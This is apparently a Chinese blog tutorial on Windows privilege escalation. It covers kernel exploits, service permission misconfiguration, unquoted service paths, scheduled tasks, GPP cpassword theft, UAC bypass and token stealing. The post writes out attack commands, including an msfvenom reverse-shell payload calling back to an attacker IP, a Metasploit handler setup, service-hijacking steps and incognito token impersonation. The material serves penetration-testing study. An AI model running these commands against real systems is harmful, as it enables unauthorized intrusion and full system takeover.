windows权限提升

权限提升

windows常见提权方式:
1,内核漏洞
2,系统服务权限配置错误
3,组策略提权
4,绕过UAC提权
5,令牌窃取

内核漏洞提权

原理

程序缓存区的大小是事先设置好的,如果用户输入数据的大小超过了缓存区的大小,程序就会溢出

漏洞利用

# 查看安装了哪些补丁
systeminfo
wmic qfe get HotFixID

# 常见的可提权的内核漏洞以及对应的补丁
 CVE-2018-8120————KB4131188
 MS16-032————————KB3139914
 MS15-051————————KB3045171
 MS14-058————————KB3000061
 

利用msf发现缺失的补丁

# 命令
msfconsole
use post/windows/gather/enum_patches
set session 1
show options
exploit

在这里插入图片描述

windows系统配置错误提权

原理

windows系统服务文件在操作系统启动时加载和运行,并在后台调用可执行文件。理论上,低权限用户是没有对高权限服务调用的可执行文件写权限,但是,如果因管理员错误的配置,导致一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么低权限用户就可以将该文件替换成任意可执行文件,这样就可以劫持系统服务,获得该系统服务的权限,而windows服务是以system权限运行的,所以低权限用户就能获得系统权限。(利用条件比较苛刻)

概括:低权限用户对可执行文件拥有写权限,那么就可随意修改文件内容并执行

系统服务权限配置错误

原理
# 使用msf查询服务器漏洞并提权

msf 对应的模块为exploit/windows/local/service_permissions  但前提是获得一个会话,这个模块可以利用目标机器上每一个有缺陷的服务

run exploit/windows/local/service_permissions #自动化提权,执行之后会反弹一个新的meterpreter回来的的权限就是system

service_permissions模块用两种方法获取system权限:
1,以管理员权限运行,会创建并运行一个新服务
2,如果当前权限不允许创建服务,会判断目标主机哪些服务的文件或文件夹的权限有问题,并允许对其进行劫持
漏洞利用
  • 使用msf生成一个木马
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.131 LPORT=4444 -f exe -o 123.exe

在这里插入图片描述

  • 将木马放到目标主机中并运行,开始监听
use exploit/multi/handler //开始监听
set payload windows/meterpreter/reverse_tcp  //设置tcp监听
set LHOST 192.168.110.131  //设置本地主机ip
exploit //开始执行

在这里插入图片描述

  • 设置会话,并且查询主机漏洞提权
use exploit/windows/local/service_permissions  //使用模块
show sessions //查看有无会话
set SESSION 2  //假设有会话,并且会话数为2
run exploit/windows/local/service_permissions //自动化提权,回来的的权限就是system

在这里插入图片描述

可信任服务路径漏洞

原理
简介:如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的。

原理:对于C:\Program Files\Some Folder\Service.exe文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字向匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序:

C:\Program.exe

C:\Program Files\Some.exe

C:\Program Files\Some Folder\Service.exe
所以如果我们能够上传一个适当命名的恶意可执行程序在受影响的目录,比如这里我把木马名字改了Program.exe,放在c盘小,一旦此服务重启,因为优先级的缘故,服务会优先选择我们木马Program.exe,而不是C:\Program Files\Some Folder\Service.exe,那么我们的恶意程序就会以system权限运行(大多数情况下)。
漏洞利用
# 漏洞利用过程
1,寻找是否含有漏洞服务
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """

2,使用工具icacls(windows内置工具)查看存在的漏洞服务权限
(M):修改
(F):完全控制
(CI):从属容器将继承访问控制项
(OI):从属文件将继承访问控制项

3,将要上传程序重命名放置在存在此漏洞且可写的目录下,并尝试重启服务
sc stop service_name
sc start service_name

也可以使用msf中的/windows/local/trusted_service_path模块进行测试

计划任务漏洞

原理
查看指定目录的权限配置情况,如果对高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样,在计划任务下次执行时,就会以高权限来运行恶意程序
漏洞利用
使用accesschk.exe工具,是sysinternals包中的工具,微软官方提供,无需免杀,可用于windows中一些系统或程序的高级查询,管理和故障排除工作。

  • 执行以下命令,查看指定目录的权限配置
accesschk.exe -dqv "C:\Program Files" -accepteula

# accesschk命令
accesschk.exe /accepteula  //第一次运行时会弹出一个许可协议对话框,可以使用参数/accepteula自动接受许可协议

在这里插入图片描述

组策略首选项提权

原理

Windows 2008 Server引入了一项新功能:策略首选项,组策略首选项使管理员可以部署影响域中计算机/用户的特定配置,通过在组策略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时自动映射网络驱动器,更新内置管理员帐户的用户名或对注册表进行更改。

#SYSVOL
SYSVOL是AD(活动目录)里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据,以及其他域控所需要的域数据,这是因为SYSVOL能在所有域控里进行自动同步和共享。
所有的域策略均放在以下目录中:
C:\Windows\SYSVOL\domain\

通过组策略统一修改的密码,虽然强度有所提高,但所有机器的本地管理员密码是相同的,攻击者获得了一台机器的本地管理员密码,就相当于获取整个域中的管理员密码

# 常见组策略首选项(GPP)
映射驱动器(Drives.xml)
创建本地用户
数据源(DataSources.xml)
打印机配置
创建/更新服务
计划任务

漏洞利用

  • 1,先新建组策略,更新本地计算机用户的组策略首选项密码
  • 2,获取组策略的凭据
管理员新建一个组策略后,系统会在SYSVOL共享目录生成一个XML文件,该文件保存了该组策略更新后的密码,在sysvol(C:\Windows\SYSVOL)中搜索,可以找到包含cpassword的xml文件

  • 使用msf查找cpassword
在msf中,有一个可以自动查找cpassword的后渗透模块,post/windows/gather/credentials/gpp

  • 其他组策略首选项文件的可选的cpassword属性
Services\Services.xml
ScheduledTasks\ScheduledTasks.xml
Printers\Printers.xml
Drivers\Drivers.xml
DataSources\DataSources.xml

绕过UAC提权

原理

UAC(user account control,用户账户控制)
它是Windows的一个安全功能,它支持防止对操作系统进行未经授权的修改,UAC确保仅在管理员授权或拥有相应的权限的情况下进行某些更改。

# 需要UAC的授权才能进行的操作如下:
配置windows update
增加/删除账户
更改账户类型
更改UAC的设置
安装ActiveX
安装/卸载程序
安装设备驱动程序
将文件移动/复制到program files或windows目录下
查看其他用户的文件夹

漏洞利用

可利用msf的模块进行提权
exploit/windows/local/ask       #弹出UAC确认窗口,点击后获得system权限

exploit/windows/local/bypassuac  #此模块将通过进程注入使用可信任发布者证书绕过Windows UAC,它将生成关闭UAC标志的第二个shell。

exploit/windows/local/bypassuac_injection #此模块将通过进程注入使用可信任的发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。在普通技术中,该模块使用反射式DLL注入技术并只除去了DLL payload 二进制文件,而不是三个单独的二进制文件。但是,它需要选择正确的体系架构(对于SYSWOW64系统也使用x64)。如果指定exe::custom,应在单独的进程中启动 payload 后调用ExitProcess()


exploit/windows/local/bypassuac_fodhelper#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定exe:custom,则应在单独的进程中启动payload后调用ExitProcess()。

exploit/windows/local/bypassuac_eventvwr#此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。此模块修改注册表项,但在调用payload后将清除该项。该模块不需要payload的体系架构和操作系统匹配。如果指定EXE ::Custom,则应在单独的进程中启动payload后调用ExitProcess()

exploit/windows/local/bypassuac_comhijack#此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL,这些DLL包含导致会话权限提升的payload。此模块修改注册表项,但在调用payload后将清除该项,这个模块需要payload的体系架构和操作系统匹配,但是当前的低权限meterpreter会话体系架构中可能不同。如果指定exe::custom,则应在单独的进程中启动payloa后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件,因此,如果cmd.exe访问受到限制,此模块将无法正常运行。

令牌窃取

原理

简介:令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。

令牌有很多种:

访问令牌(Access Token):表示访问控制操作主体的系统对象 。

会话令牌(Session Token):是交互会话中唯一的身份标识符。

密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如U盾。

漏洞利用

# 使用msf进行提权
先拿到一个session会话
use incognito           #进入incognito模块
list_tokens -u          #列出令牌
Delegation Token:也就是授权令牌,它支持交互式登录(例如可以通过远程桌面登录访问)
Impresonation Token:模拟令牌,它是非交互的会话。

这里窃取令牌,主要是窃取进程中的令牌
#使用令牌假冒用户
impresonate_Token "令牌名"
这里也可以用其他的cs,empire上面的令牌窃取功能模块
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值